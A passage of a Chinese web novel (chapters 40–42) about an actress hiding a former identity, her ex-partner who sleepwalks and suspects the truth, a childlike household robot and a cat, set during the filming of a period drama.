她垂下眼皮,侧过身,低声说:“元宝,谢谢你还活着。” 元宝咕噜噜的蹭蹭黎数,澄黄色的眼睛和她对视片刻,撒娇似的‘嗯’了声,一只肉乎乎的爪子搭在黎数的脸上轻轻拍拍。 最后一次进组的时候,黎数定了小区管家的上门喂猫,一般以防万一,她会多支付一个月的钱。 但即便如此,一旦有个阴差阳错,管家辞职,又或是时间到了,管家以为她不需要了就不再去了,元宝都可能会孤零零的被活活饿死。 能活下来实在是万幸,黎数又亲了亲小猫香香的脑袋。 元宝嗲嗲的叫,让黎数情绪和缓了些,但脸上还是有些许愁容。 两年过去,医疗体系至今发展成什么样子她了解的并不算多,至今还没有去过一次医院。 但从古至今,只要牵扯到重病,只要是牵扯到癌,就必定要牵扯到钱。 她们家只是普通家庭。 甚至比起一般正常的普通家庭来说,可能还要曲折一些。 她姐姐黎清是退役消防员,比她要大一轮,小时候黎数是她一手带大的,但黎清和她差不多岁数的时候离开家,伺候再没回来过。 所以这些年来,她和黎清的感情并不多亲厚,二次应招入伍后,黎数只知道她被调去了指挥部,其余的一概不知,和黎数、乃至母亲齐若兰都是常年失联的关系。 更别提是没关系的后爸,和后来再生的女儿黎余了。 黎余能为了钱发愁成这个样子,想必是在黎清那里也已经碰过壁,走投无路的情况下,才去找的陆嵬。 但以她从小到大骄纵的性子,可以拐弯抹角的说请陆嵬多关照工作,但绝对、绝对开不了那个口,去提借钱的事情。 毕竟说到底,黎数和陆嵬只是谈了比较久的恋爱。 何况在世人眼里,自己已经死了足足有两年了。 两年过后,已经死了的前女友妹妹,先跳槽,又来求工作,再来借钱,且数额巨大,怎么都说不过去。 黎数也查过,黎余没有工作不是一天两天了,但她所在的公司也算良心,黎余的房租是和公司对半开的,公司帮她支付一半,每个月还有工资发放,同样是五千这个数字,不高不低,在申海市,混日子倒是勉强足够。 可陆嵬不是黎余那傻子,她不可能看不出来。 黎余这次找她,工作只是表象和借口,实际上是经济上出现了大问题,否则她混了这么久,没理由突然上进。 但如果只是一个没多少戏份的龙套,黎余去找陆嵬哭那几次又是为什么? 一个微信就能说清楚的事情,她没必要闹到寰宇的前台都如临大敌。 黎数想不通,头疼的揉了揉额头。 她拿出了手机,沉吟了片刻,给黎余发了条消息。 【黎数:阿姨怎么样了?治疗顺利吗?】 时间很晚,黎余没回复,黎数不多时就睡着了- “小黎睡着啦!”521悄悄侦测完毕回头,很不满的说:“你的头发也吹干了,你为什么不让我回去和小黎一起睡觉。” 陆嵬靠坐在椅子上,521努力伸直了腿,但还是不能和她平视,只能努力的抬高脸,眼睛一眨一眨的。 过了会,陆嵬说:“你之前说,小黎的脸越来越和你主人长得一样了。” 521实诚道:“不光是脸呢,小黎的脖子、锁骨正中央下方的胸口处,还有眼角,都开始萌发出和我主人一模一样的痣了。今天侦测到她的股|沟上面也有一颗,我主人也有呢。” “你怎么知道你主人那也有一颗痣的。”陆嵬皱眉。 521眨巴眼,奶声奶气:“你给我的我主人小时候在水上乐园玩的照片啊,她小时候就有了呀,小时候六岁的时候就有了呀,都在我脑子里面呢。” 陆嵬想起来了521说的是哪一张,忍了忍,没发脾气,说:“还有呢?” “她们两个的脸部相似度已经上涨到百分之八十三了!”521很激动,“不只是单纯的肌肉变化,她的骨骼也在变化,越来越像我主人十八岁时候的样子啦,马上就可以夸过八十五大关啦!她和我的主人越来越像,是不是就会变成我真正的主人?还是她本来就是我真正的主人,现在正在升级,等到满级就可以来接我回家啦?” 陆嵬‘嗯’了声,521追着她问‘嗯’是对哪一句的肯定,但陆嵬不肯说。 于是521大胆把所有的疑问都变成了肯定,放了满屏幕的烟花。 陆嵬不知道机器人复杂脑子里单纯却直白的小心思,垂下头,看了眼521身上穿的小粉裙子,低声说,“转过去。” 521原地转个圈,很单纯的说:“可是我屁|股上面没有痣呀。” “你也没有屁|股。”陆嵬面无表情。 她弯下腰,提起521的裙子。 黎数果真见缝插针的抽出了时间,把521的裙子改短了。 被它自己不小心勾烂的地方也被补上了,针脚细密到看不出一丁点缝补的痕迹来。 一般一二线艺人都有公司随身配备的专业的妆造团队,但这一般只限于会经常出席一些高端活动和宣传的明星,而不是只专注演戏的演员。 黎数从前也有合作的对象,但是这些团队基本上都很贵,黎数从出道开始就是一个人,改衣服、化妆、赶场子,做造型,她都习惯了一个人。 小场合她都是自己上手的。 陆嵬曾经的衣服开线、破掉,或是有不舒服的地方,按照她以往的习性都是直接处理掉,不会再穿,毕竟比起等待,买一件新的更快也不费事,陆嵬讨厌这种没有意义、又占据她时间成本的沟通。 但黎数总觉得很可惜,会翻着花样来帮她改。 给521改裙子的方式,也是黎数用了很多年的针法了。 其实生活中有太多东西可以被替代,但也有很多的东西已经跟了黎数太多年,久到黎数甚至都没办法顾虑到,什么东西才会真正的把她暴露在自己面前。 装得了陌生,藏得住口味,可审美、一些融入了生活点滴的极小的小习惯,乃至根本不会被常人注意到的针脚收线,都是黎数根本不会注意到,和刻意去隐藏的。 如果不是她和黎数同住了这么多年。 如果不是她对黎数的一切都了如指掌。 陆嵬苦笑了一声,这一刻甚至不知道究竟是悲多喜多,半晌,她低声说:“她一向说到做到,从不拖泥带水,也从不回头。” 521没办法从一句夸奖的词语中,去分析出这段话底下藏着的不为人知的酸涩和难过。 它很高兴的说:“是的呀,我主人就是这样的呀,你之前跟我讲过,说我主人高中还没毕业就可以靠奖学金和竞赛的奖金养活自己啦,大学的学费也是她自己演出挣到的,她妈妈性格软弱,不想让她出现在家里引起争端,她就再也没有回去过,一次都没有。” 陆嵬勉强勾了勾唇角。 她和521说这些的时候,没有设想过有一天黎数会回来,而不会被原谅、不会被回头选择的对象,会变成自己。 “521,创造你的查查博士在把你交给我前告诉过我,说你有这个世界上最详细的行为逻辑数据分析库。” 521挺胸抬头,“当然!” 陆嵬低声说:“如果,我是说如果。如果有一天,有一个人做了一件让你主人很生气、很严重的事情……” 521苦恼的皱眉:“多生气,多严重呢?” “害她死过一次,让她很难过,让她说出了绝不原谅的话。”陆嵬喉咙发哽,声音颤抖的说:“她还能……原谅我吗?” 一分钟的时间,陆嵬像是被凌迟了一样。 哪怕她问的只是一个没有感情,只能依靠数据分析的机器人,可她心里也知道,521给出的答案,不会有别的。 黎数从来说一不二,她比521要了解黎数得多。 521的声线依然是很活泼的机器人童音,它的表情也一如既往的活泼灵动。 测算完毕,521笑嘻嘻的说:“不会的,她不会原谅你的呀。” 陆嵬痛苦的闭了下眼。 但很快她就把眼睛睁开,回过身,望向了床上已经睡着的黎数。 然后521听到陆嵬说:“但我不同意。”- 晚上,黎数再一次被元宝的毛捂醒,动作比大脑反应的都要快一些,把睡的白眼吐舌的猫子翻开晾肚皮,口干舌燥的拿起手机看了眼。 凌晨一点多,这一觉没睡多久。 电视上的动物频道都还开着,只不过声音不大。 她从床上站起来,走到了柜子那边,打算倒点水喝。 刚刚拿起杯子,房门被从外面用房卡刷开了。 黎数汗毛瞬间倒立,下意识的回头看了眼陆嵬,却发现本来应该睡着的陆嵬根本没在床上,*这才想起来刚刚有哪里不对劲——这段时间总要缠着她睡觉的521也没在。 黎数停下倒水的动作,回过头,就见陆嵬垂着头,用房卡刷开了门,身后跟着可怜巴巴的521。 它亦步亦趋的跟着,手里还拿着自己的手机,好像要打给谁,在时时刻刻做准备的样子。 陆嵬的脚步不快,头发散着,没什么表情,目光也没什么落点,但目的地倒是清晰,要回床上睡觉了。 黎数看了眼她身上浅蓝色的睡衣,和黑白掺半、刚睡醒,也没打理,乱糟糟的头发,也没问陆嵬,而是和跟在身后的521说话。 “她这一身是……干什么去了?” 黎数脸色古怪。 陆嵬这个点,这身打扮出门,万一剧组里有这个点也失眠,或者是小聚刚散,又喝了酒的工作人员,一准被吓一跳。 521移到黎数身边,可怜兮兮抓住了黎数的睡衣,“陆嵬又梦游了。” 黎数一愣,以为自己是听错了,“什么?” 没等521重复,黎数自己率先问:“她怎么会梦游?” 她和陆嵬在一起住了那么多年,从不知道陆嵬还有梦游的习惯。 要说是认床或者是认环境就更不可能了,她的工作性质注定天南海北的到处跑,陆嵬经常攒到假期以后去找她。 她们两个的关系在圈里从来都不是秘密,也没有隐藏过,她常年在剧组,剧组里的临时伴侣实在是太多了,大家都习以为常,没谁会曝光坏规矩,何况捕风捉影的事儿,没证据,但一旦被查出来是谁,事业就完了。 也因为这样,陆嵬经常在她所在的剧组一住就是十天半个月,但也从来没听过剧组有人反应说看到谁梦游,或者是半夜见了鬼的。 本来已经走到了床边的陆嵬忽然停了。 她无声的盯着床上看了一会,像是要找什么,但似乎是不满于看到的现状,又或是床上少了什么东西,她没找到,转身离开了床边。 521呜呜呜:“不知道呀,我出生的时候她就会梦游了,好像没有特意去学习过。” 521又说:“后来是有一次她出门的时候,被被小区巡逻的管家发现不对劲,我才多了一个在陆嵬梦游的时候保护她的任务。” 黎数看着陆嵬,慢慢的嗯了声。 她刚刚住进陆嵬家里的时候,521没在家,被送去升级了。 那天陆嵬莫名其妙的下了楼,在车里待了一会以后又上了楼,她当时还以为陆嵬是这两年染上了什么换地方睡觉的怪癖。 毕竟有的时候车上确实是好睡,起码就黎数来讲,所有在车上的时间都意味着可以休息,可以短暂的补眠,常年习惯如此,她一上车就会有困意。 她以为陆嵬是差不多的原因,结果居然是因为梦游。 黎数看着陆嵬一步步朝她走近,轻声说:“521,梦游的原因都有什么?” 几秒过后,521说:“最常见的原因是家族遗传,这个几率占总病因的百分之三十到五十,其次分别是:儿童大脑皮层未发育完全、睡眠质量差、频繁夜醒、作息紊乱,以及过度疲劳、焦虑过度等精神疾病原因引发……” 黎数皱了皱眉。 “她自己知道吗?” “知道的。”521很认真的说,“但是陆嵬不知道为什么,她不吃药也不治疗。她也不是经常发病,一年也只有三四次,基本上我都在,我不在的时候,家里的安保系统也会自动报警到张阿姨那里,小区的管家夜巡的时候也会帮忙。” 想了想,521又补充了一句说:“而且陆嵬梦游也不会乱跑,就在她的车里坐一会,然后就上楼睡觉了。” 怕惊扰到陆嵬,黎数的声音很轻:“那也很危险。” 万一紫檀的管家里面有心怀不轨的,万一真就有小偷或者强盗进了小区,万一哪天张姐睡得沉,没被警报喊醒,又或是张姐醒了,可一个连跑都没能力的陆嵬,和一个没什么反击能力的中年女人,又怎么应付得了心怀恶意的不法之徒。 陆嵬从她靠近门那边的床逐渐的走到了自己的面前。 然后停下了。 521仰着头,大眼睛眨眨,又低头一看,很敏锐也很有眼色的把黎数脚尖前面的位置让开了。 陆嵬果然走到了刚刚521站好的地方。 黎数伸手在陆嵬眼前晃了晃,低声喊:“陆总?” 陆嵬毫无反应,目光也没有追着黎数的手晃动。她整个人呆呆地,直直的看着黎数的眼睛。 没有情绪,也没有感情,好像是一个没有灵魂的木偶。 梦游的人基本不会说话,对外界的感知也低,陆嵬现在也没有下一步的动作。 又等了会,黎数渴的实在是难受,转过身刚想继续倒水喝。 身体还没转过去,就被陆嵬抱住了。 黎数转身的动作停在半路,整个人僵住了。 陆嵬抱她抱的真的很紧,紧紧埋在自己颈侧的脸微凉,但鼻息是热的,嘴唇贴着脖子上的肌肤微微动着,一直在用很轻的声音低声说着什么。 黎数微微侧过头,但陆嵬更像是无意识间的喃喃自语,等到她听清楚以后,发现陆嵬一直在喊的是‘姐姐’。 黎数不知道她到底是在喊谁,但她想到的是陆嵬和沈凝雪最后的那一通电话的时候,对沈凝雪说的那句‘我也爱你’。 那一瞬间,黎数浑身的血液都凉了。 40-50 第41章 第四十一章【VIP】 隔天陆嵬一觉醒来,房间里已经没有了黎数的身影。 酒店的床铺设施都差不多,陆嵬一时间没察觉到有什么不对的地方。 甚至久违的,第一次在睡醒后,有了一种精神上的饱足感。 近年来,这是头一次,甚至醒了以后都还忍不住回味。 她梦到自己抱着黎数睡了一宿,熟悉的温暖、熟悉的怀抱、熟悉的香味。 时间就像是回到了两年前,黎数还非常宠爱她的时候。 陆嵬一时间沉浸在梦里,甚至不想起来了。 就是本来一睁眼就能看到的墙距离她好像今天有点远,还多出来了一张床。 陆嵬后知后觉的意识到了不对。 她现在睡的,是黎数的床。 521神不知鬼不觉的飘过来,满脸写着愤怒和不高兴。 “都怪你都怪你都怪你都怪你都怪你!”521双手交叉,气的整个屏幕涨红,两眼冒出熊熊火焰:“小黎今天都没有拉着我的手带我一起下楼!” 陆嵬一只手抵着它脑袋把它推远,思量了会说:“你要接受现实。在她心里,你,和我,都排在元宝后面。” 521屏幕上的红温褪去,惊诧的瞪大眼,“怎么可能,小黎明明说我和元宝她都喜欢。” 陆嵬回头看了一眼凌乱的床。 应该是黎数走的时候她还睡着,所以黎数没把自己叫醒。 明明屋里除了521和她自己以外,没有别的可以称之为人的物种存在,但陆嵬还是下意识看了眼房门。 做贼这事儿,一回生二回熟,陆嵬面上也看不出脸红心跳,又重新躺了下,把头埋在枕头里深深吸了口气。 再说话的时候声音有些发闷,陆嵬问道,“昨晚我梦游了?” 521不高兴的‘嗯’了声,“你昨晚占小黎便宜,又抱又亲,最后还非要拉着小黎一起睡觉!你真是个变|态。” 陆嵬重新坐了起来,没计较521骂人,只冲521招了招手。 521滑行到她腿边,按照陆嵬要求的时间段,把昨晚自己看到的一切都如实给陆嵬放了一遍。 陆嵬没错过黎数在被她抱住没多久时,瞬间降到了冰点的神色。 陆嵬让521把声音放大:“我那会说了什么或者是做了什么?” 咕哝声实在是太小,521把音量调到了百分之一千,陆嵬才勉强听清自己喊的是‘姐姐’。 明明刚刚被自己抱住的时候黎数没有生气,只是在疑惑自己梦游后的行为而已。 陆嵬低声说:“她为什么听我喊她姐姐会生气?” 521浅浅分析了一下,很诚实的说:“你清醒一点,你今年已经二十七岁了,小黎才刚刚十八,你现在比小黎大了整整九岁!多可怕的数字!你居然还管她叫姐姐!机器人听了都生气。” 521疯狂摇头,一脸不肯接受现实的模样:“太可怕了,我怎么以前没发现你是这样的人!” 陆嵬无语的看了眼摇头摆手的521,脸色难看的说:“你知道个屁。我以前都是这么叫她的。” 521:“你还好粗鲁,你还骂人!那只能证明你以前也是个变|态!你现在更变|态了!” 陆嵬起身收拾,“机器人不是人。” 521总结精湛:“你还骂我不是人!你一个变|态怎么好意思说我们机器人不是人!” 和一个有着丰富素材库,但理解能力为弱智级别的机器人打嘴仗显然很没意思。 陆嵬食指抵着眉心,心想自己刚刚也是疯了。 陆嵬也没学黎数一样拉521的手,但好歹把机器人带上了车。 路上她问张姐:“小黎今天怎么走的?” 张姐说:“黎小姐跟的剧组的车一起离开的,我想送她,但她说你醒了可能要用车,没让。” 陆嵬应了一声,过了会拿出了手机,打开了和裘夏的聊天框。 【陆嵬:房车。】 【裘夏:这不还在挑呢吗,我想把我老婆那辆用了七八年的也一起给换了,她非要走公账,不肯要太好的,我总不能走你的账给小黎换个牛哄哄的,扭脸给我老婆换个不太好的吧。】 【陆嵬:谁让你把卡都上交了。】 【裘夏:你不懂,那是我们的小情|趣,嘻嘻,每次找我老婆要零花钱的时候有多快乐你都不懂。】 【陆嵬:521分析过市场了,不用挑了,直接换A380-天阙那套,超出的走我私账,算是补去年的生日礼物。】 能不占便宜王八蛋,何况好,也因为受众少要求高的市场导致房车价格一直居高不下,经过521分,但性能一定是最好的。 这下裘【收到,谢谢陆总,陆总大气。】 21,伸手敲敲她的头。 521正在给黎数剥生瓜子,是今天有一场戏要用到的道具。 它虽然万能,但事实上比起真正专业的机器来说,大已。 比如它可以当裁缝,但缝的线并不精细,和真正的手工相差甚远,但又比裁缝机强,比如会剥蒜瓣,甚至可以利用器皿快捷剥蒜,但手动剥出来的一定坑坑洼洼,可以冷藏或加热饮料,但储存空间只有一升,且都需要耗费大量的电能。 再比如眼前的瓜子。 十个里面就一个完整的。 被陆嵬一敲,521手上的力度就没有掌控的很精细,又碎掉一颗。 521也不生气,喜滋滋的哼着儿歌,重新换了一颗,心情很好的说:“干嘛?” 陆嵬说:“小黎的房车到了以后,你就全天候的跟着照顾她,同时负责她的安全。” 521惊喜抬头:“真的吗真的吗,我真的可以一直跟着小黎吗?” 陆嵬应了声:“嗯。” 521很少对陆嵬露出谄媚又讨好的模样,此刻把那盆剥的稀碎,但好歹能看出来是瓜子的一盘东西递到陆嵬面前。 方圆的屏幕上是很狗腿的笑:“陆嵬你人真好,我宣布你现在在我大脑里的排名已经超过裘夏了。”- 黎数今天的戏很简单,但想到待会要演的内容,却怎么都静不下心来。 红楼里大家都是沦落人,有争眼下高低,互相拉踩攀比的,也有等着真心人,想要奢求一份真情的,也有什么都不懂的女孩儿,进来后只求庇护的。 这天她认识了一个新的妹妹,属于最后者。 也是林辰星饰演的一个不谙世事的小女孩。 同样是被父亲和哥哥一起卖进楼里,但林辰星饰演的林婉要天真的多。 林婉母家是大户人家,招赘了个男姑爷,但顶上的老一辈去世后,娇养的小姐无法掌控家中大权,生的儿子共情父亲入赘的屈辱忍让,联合父亲一起夺了家产,仅二代还宗。 为了掩盖这个事实,父子俩干脆一不做二不休,在母亲死后,又将妹妹高价卖到了红楼。 林婉是按照闺秀的模样教习的。 她不像白玫那样的野草,挣扎着向上活,她习惯于听命、习惯于被掌控和依附他人而活,没多少自己的想法。 可怜生生的一朵小白花,连高声哭喊撒泼都不会,只躲在一旁嘤嘤哭泣,任由父亲和哥哥在旁和老鸨讨价还价,为了个曾经‘官家小姐’‘江南闺秀’‘绝色美人’的名头。 白玫的姥姥曾当大丫头的地方,就是林家。 “说来也巧。”老鸨娇笑着说:“咱们这也有个你们林家出来的丫头,以后两姐妹说不定还能互相多照应。” 白玫心里始终对姥姥有一份感念,也时常想起母亲的疼爱,她和林婉同病相怜,明明林婉比她还大些,但白玫的心里,对她还是多了几分怜惜。 老鸨要培养她捞大钱,没让她去接那些不入流的鸡毛嫖客,白玫学得快,又乖巧听话,很得老鸨信任。 闻言就笑着说:“都听妈妈的。” 林婉知道白玫进来后到现在都还没接过客,知道这是她的本事,整日就像是个小尾巴似的,可怜兮兮的坠在白玫身后,一口一个姐姐的喊。 直到妈妈让白玫带着她一起,去见曾经可以同席而坐,此刻却身份云泥之别的富家公子哥。 这家和林家曾经有生意往来,和林婉更是旧识,往日都以礼相待,但今时今日地位不同了,林婉不愿见他,却又盼着他还记得自己,可以把自己从虎狼窝里救出去。 也就是这里,林婉和白玫发生了第一次大争吵和矛盾。 林婉突然翻脸不认人,完全忘了往日白玫的诸多照拂和指点,口口声声的指责起白玫不顾祖上情谊,说白玫的姥姥在林家当了一辈子奴婢,受尽了林家荫蔽,如今她的外孙女却要来残害自己,明知道她和那位公子有旧,却还要上来分一杯羹,妄图抢占她脱离火坑的希望。 “你果真就和金花姐姐说的一样,总是喜欢抢别人的!”林婉说完这话,便哭着跑远了。 远处是一个眉眼含笑的女人,也是林婉口中说的金花姐姐。 她年老色衰,拿捏那些嫖客的本事也一般,年轻时还能掏出来点小钱,现在已经不行了。 她嫉妒白玫,也嫉妒林婉,更嫉妒两人已经打出去的名声响彻了四面八方,俨然已经成了一代名妓,绝色双姝。 黎数站在原地,一场戏已经过去,但林辰星最后扑到金花那里口口声声喊的那一声声姐姐,让她今天一整天都心绪不宁。 连带着,林辰星三蹦两跳的从远处过来的时候,黎数脸上都还有没能散去的郁色。 “虽然我戏少,但是我这也太命苦了。”林辰星一过来就嘚吧嘚,一双漂亮的大眼睛炯炯有神,“两周的功夫得再瘦十几斤,苍天,我这得多久才能补回来啊。” 黎数缓了缓情绪,低声说:“但这是你转型的第|一|枪,好好打。多付出,一个配角也够你受用多年。” 林辰星点头应了声,愁容不展,但对这个配角来说,她还是极满意,且报了很大的期待的:“我懂。” 林婉当然不只是表面上那样,听信了金花的说辞,和白玫分道扬镳,见利忘义的人。 黎数想起后面的剧情,心里也不好受。 林家和那个公子哥的家里是世交,自然不可能不知道,那公子哥家财万贯,踩着胜利的风口大肆敛财,俨然已经成了当地首富。 可他却极喜欢虐|杀。 他一开始看上的,是白玫。 而不是清纯可人,却遇事只知道哭诉、不懂讨好求全的娇小姐林婉。 但老鸨嫌弃价钱太低,始终不肯放人,林婉也不知怎的突然改了性子,让他也来了点兴致,久磕白玫不下,加上长时间不见人,他也没了耐性,便把矛头从白玫转到了林婉身上。 林婉最后死的很惨。 白玫去见她的最后一面,林婉穿着第一日和白玫相见的那套衣裳。 身边被她一起赎回来的丫头一味地伏地痛哭,她却只是看着白玫,说:“我知道你背上肩负着国|家和人|民|大事,我一生庸庸碌碌,脑子不灵光,嘴上也笨,守不住母亲,管教不住弟弟,劝不动父亲,我这一生一事无成。” “我能帮到你的不多,也不知该怎么帮你,只知道你若真落到了他手里,后果一定极严重。” “姐姐,你护我许多次,我心里都记着。我怕你知道,我是因为你才死而自责悔恨,可我更怕你到死都怪我忘恩负义,连死后都不来看我一眼。” 林婉无知,被当成旧时代的闺阁小姐圈养了一生,她不懂国|家大事,不懂会有人来保护白玫,也不知道白玫接到的命令就是查出那公子哥家的底细,更不知道那公子也是提了名的汉|奸,只待查清后处死。 她什么都不懂,只用了最笨的法子,自以为是的保护了这个同样在她最危难时期护在她身前的姐姐。 这个时期的林婉,浑身都是经久却无法痊愈的旧伤,身上多处已经开始出现溃烂,骨瘦如柴,脸颊凹陷,颧骨突出,一副将死之人的模样。 化妆技术固然可以弥补一些拍摄手法,但林辰星想要改变,也想更好,也就必须在接下来的时间里去尽可能的瘦下来,让自己贴合林婉的一切。 但现在还没拍到那,正处于林婉‘背叛’了白玫以后,整日缠着金花喊姐姐,去央求她多教导自己如何讨人喜欢上。 为此,她甚至将自己攒下的所有的东西,都一点点赠给了金花。 林辰星想起十几斤的重任,愁眉苦脸叹了口气,和黎数说完话,又丢下一句,“我去找我金花姐姐玩去啦!后面我和她戏多呢!” 黎数摆了摆手- 中午的时候,她的饭菜是陆嵬拿过来的。 不是剧组的盒饭,这附近也没什么外卖,即便是能送到,也差不多要凉透了。 看着像是周姨刚做出来的那么新鲜。 黎数基本不挑食,但在剧组期间,一般为了避免皮肤和身体出现问题,所以吃的东西都是固定的,怎么简单、清爽、减脂,不会引起身体负担就怎么吃。 一般清炒蘑菇也在减脂类食谱上,但黎数不喜欢蘑菇,偶尔炖的极烂的香菇能吃两口,但一般除非必要,不会去夹。 她不喜欢蘑菇的味道,吃到会反呕。除了香菇、香菇、金针菇以外,其它种类她认识的不多,但因为平菇的味道对于她来说过于难接受,所以统一把所有蘑菇都一棒子打死,生理性都有些厌恶,会下意识避而远之。 食盒里一共八个菜一个汤,有三个菜都是菇类,连汤里都有蘑菇。 黎数眼都没抬,摆桌的时候把那三个不认识的菌类放的离自己远远的。 陆嵬就在一遍默不作声的看着。 这顿饭她特意喊来了裘夏和费鹤鸣一起过来吃。 521忙忙碌碌的摆放桌椅碗筷,又四处奔走添水添果汁添碗筷,元宝添乱。 席间不知道是谁牵头,聊起了菜系,自然必不可免的就聊到了口味和老家。 “说起来,咱们几个里头就费导和小黎不是申海人吧?”裘夏说:“费导是广东的,口味平时就偏清淡,小黎我记得是四川的?” 黎数慢半拍的应了声,“对。” 裘夏稀奇:“那你口味还挺清淡啊,平时也没见你吃过辣的,难得了,我上次去四川那边玩,旁边有一桌喝高了,连冰粉里都要搀辣椒,说不辣不刺激吃不下去。” 黎数对四川的了解也只限于辣和火锅,冰粉倒是吃过,但是往冰粉里搀辣椒也是第一次听。 闻言也只能说:“我口味是比较清淡。” 裘夏又说:“是挺怪,按理说一方水土养一方人,那边的口蘑和牛肝菌也没见你吃过,这在你们当地属于日常菜系了吧?今天怎么汤也不喝一口,你平时不是挺爱喝汤的吗?别是身体不舒服啊?” 陆嵬垂着眼喝了口汤。 汤是松茸鸡汤,松茸放得少,只提鲜而已,但块头大,黎数下意识就不喜欢,而且她对菇类的气味太敏感,喝汤还不如闭眼囫囵吞菜。 黎数只是想起菇类的气味就忍不住皱眉,就这么坐下来聊天,吃饭,她也没那么多防备,于是就说道:“我不怎么能适应菇类的口感和味道,吃得少。” “哦。”裘夏点点头,过了会说:“也是,我一个申海人也吃不了蟹黄包,螃蟹过敏。” 本来就是闲聊天,裘夏也没多想。 她坐在这也只扒拉了几口,其实是为了打包来的。 她自带的饭盒不知道什么时候已经装的差不多了,最后又盛了两碗汤,朝着费鹤鸣抱歉一笑,“费导,那我先失陪了。” 然后才冲着陆嵬和黎数招呼了一声就离开了。 费导弯着眼,看着裘夏一路提着餐盒小跑,忍不住摇了摇头。 “平时总听你和凝雪说裘夏,但我和她接触不多,现在一见,确实是个跳脱的性子。” 陆嵬‘嗯’了声,“确实,不过她当经纪人的,性子热闹会来事也正常,反正正事从不耽误。” 没说两句就得护一下,哪怕只是一句调笑的话,陆嵬和裘夏感情确实好。 费鹤鸣不甚在意的摇了摇头,见黎数试探着把汤勺往鸡汤里伸,但是纠结半天,又只盛了很少一点的模样,忽然想起来了。 “小黎,我记得你资料上不是写着,说最爱吃的菜是菇类吗?” 黎数茫然抬头:“什么时候?” 费鹤鸣一想起来,记忆就复苏了。 黎数试镜时的资料还历历在目,毕竟那么相似,她看到第一眼以后就实在是过目难忘。 但未免遗漏,她还是想了想,才说道:“试镜那时候。你那时候的资料,应该都还是一统负责整理的。” 黎数不动声色的拿回了碗。 里面只有很清淡的汤和一些鸡肉,闻起来倒是很清香,没太多的菌菇的腥气。 闻言黎数搅了两下汤勺,才抬头笑着说:“啊,我想起来了。” “我们家不是在乡下吗,院子里就有地,老家自己种蘑菇的多,我不爱吃,但是蘑菇便宜,还下饭,所以小时候总被逼着吃,吃得多就习惯了,有人问我,我也习惯说最喜欢吃蘑菇了。但长大了以后可以自己做主,就不那样了,现在如果有别的菜,一般我也不会主动去吃蘑菇。” 费鹤鸣恍然点点头。 这种情况倒是常见,不爱吃但也能硬吃,不然就没得吃。 加上又被家长从小到大逼着改‘挑食’的毛病,就以为自己可以接受。 长大了,脱离家庭了,才终于意识到自己原来是讨厌的,也因为长大了,才有了拒绝的能力。 陆嵬面不改色的夹起一筷子菜,手收到一半,菜掉下去了。 她没再继续夹菜吃,静坐在那缓了会。 手在不受控制的小幅度颤抖着,夹菜这种精细动作她已经做不到了。 她就知道。 即便自己认出来了,即便再怎么试探,但黎数不会承认的,总能有千百种说辞糊弄过去。 打从一开始,如果不是黎数当时的处境没有第二个选择,如果自己比沈凝雪、又或是费鹤鸣、范从荣等对黎数感兴趣的人早了一步就把黎数签下了,那黎数会真正意义上的,彻彻底底的消失在她的生活中。 她不会让自己发现,也不会让自己知道的。 甚至如果不是同在一个屋檐下住了这么久,发现了太多的痕迹,和黎数自身可能都没有留意到过的细节的话…… 陆嵬回想起这所有,才惊恐的发现,这些所有的如果,但凡缺失了其中的一环,她都不可能有认出来黎数的机会。 而即便是此刻认出来了,即便是她当场质问,黎数都有太多太多,像是今天和费鹤鸣说的理由一样的搪塞的话来等着自己。 问不出来的。 即便真的问出来了,又能怎么样? 逼问只会把黎数给推的更远。 手已经停下抖动了。 陆嵬重新拿起筷子,很缓慢的深吸了一口气,尽可能平静的说:“白玫和林婉的那一场重场戏,应该就在两周后吧?” 费鹤鸣应了声,黎数才说:“差不多是那时候,怎么了吗?” “没什么。”陆嵬目色沉沉,她没敢看黎数,随便夹起了面前的菜,也没管是什么,就往碗里夹。 那是一片通红的辣椒。 陆嵬看着,脑子几乎无法分辨自己夹菜是为什么,盯着那个辣椒看,嘴里本能的问:“那你觉得,站在白玫的立场上,是怎么看待林婉的选择的?” 黎数愣了愣。 陆嵬抬起了头。 她的目光和黎数直直的撞上,不像是询问,倒像是恳求:“林婉背叛白玫的初衷是为了保护她。但后面的剧情你也知道,林婉自以为的一番好意,却反而害得白玫不得不避走他乡,从此人生被改写,彻彻底底的走向悲剧。” 陆嵬话音颤抖,“你觉得,白玫会原谅林婉吗?” 隔着一层熟悉又陌生的皮囊,黎数恍惚觉得陆嵬在问的不是白玫,也不是小黎,而是自己。 第42章 第四十二章【VIP】 黎数转头望向费鹤鸣:“费导怎么想的?” 费鹤鸣吹着碗里的汤,头也不抬,事不关己的说:“我又不是白玫。” 皮球又被踢了回来,黎数不甚在意的笑笑,“感悟一般都是事后才谈,陆总这个问题问早了。” 提前说的再好,可不到真正实拍、代入白玫亲自去演那一刻的感情,没有哪一个演员敢提前定论什么。 这也是演戏的魅力之一,我是她,但也无法掌控她,我只能去还原、到那一个最重要的节点时,我才能知道她究竟是什么样的想法。 能把话题进行到这,这顿饭也没什么再吃下去的必要了。 话锋变针锋,黎数轻描淡写,费鹤鸣懂装不懂,陆嵬眼中满是憾然,问不出一个答案。 费鹤鸣率先起身,仗着比两人高出大半个身体,肆无忌惮的从高空俯视,两秒后,她转身离开,留下一句:“会不会原谅,时间自会证明,且等吧。” “多谢陆总的饭,很合我胃口,周姨的手艺真的很不错。”黎数说完就走了。 走前她捞起元宝找了个避光的地方做运动,练习手臂肌肉。 身侧无人,陆嵬终于撑不住般垂下了头,像一副挂在美术展馆的精致骨骼,外面挂着层极精美艺术的人皮,侧头从空隙处一看,内里早就空了。 她抬头望向黎数走去的方向,有朋友,有宠物,有伙伴……没有她。 没有她,黎数也能活的很好,她并不那么重要。 时隔几个月,已经两岁半高龄的元宝体重终于突破了六斤大关,虽然肉眼看上去还是一个很瘦的猫条,但比从前有活力得多,也精神的多。 它在剧组平时也没什么事儿,挂在黎数和521脖子上,挂在黎数和521肩膀上,或者被黎数和521捞在手里当手提包。 黎数摸摸元宝的黑色小鼻头,叹口气说:“你说说你,岁数不大脾气挺倔,我死了你就绝食,难不成想跟我一起死吗?” 元宝听不懂话,侧着头,一点都不害怕的把头往黎数脸上贴贴。 黎数的语气与其说是在生气责骂,更像是在心疼和感叹。 “你是一只小猫咪。”黎数捏捏元宝的爪子,“不要太重感情了,只记得吃吃喝喝和快乐就可以了。” 元宝‘喵’了声,垫着脚,又用头顶了顶黎数的脸颊- 